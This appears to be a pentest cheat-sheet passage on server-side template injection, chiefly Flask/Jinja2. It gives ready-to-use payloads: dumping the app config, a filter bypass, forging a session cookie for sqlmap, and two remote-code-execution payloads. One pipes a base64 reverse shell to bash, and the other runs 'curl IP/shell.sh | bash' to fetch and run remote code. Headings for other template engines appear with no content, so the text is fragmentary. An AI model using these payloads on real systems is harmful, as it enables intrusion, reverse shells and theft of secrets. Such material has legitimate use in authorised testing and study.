SSTI
Flask-Jinja2
{{ config }}{{config.getitems()}}
# Bypass "." filter
{{config|attr('getitems')()}}flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump{% with abuqasem=request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo <Base64EncodedReverseShellCommand> | base64 -d | bash -i")["read"]() %}abuqasem{% endwith %}{% with abuqasem=request["application"]["__globals__"]["__builtins__"]["__import__"]("os")["popen"]("curl IP/shell.sh | bash")["read"]() %}
{{ abuqasem }}
{% endwith %}Mako
Twig 1.9
SpringBoot
Thymleaf-engine
Exploit Script
References
Pug
Further reading
Last updated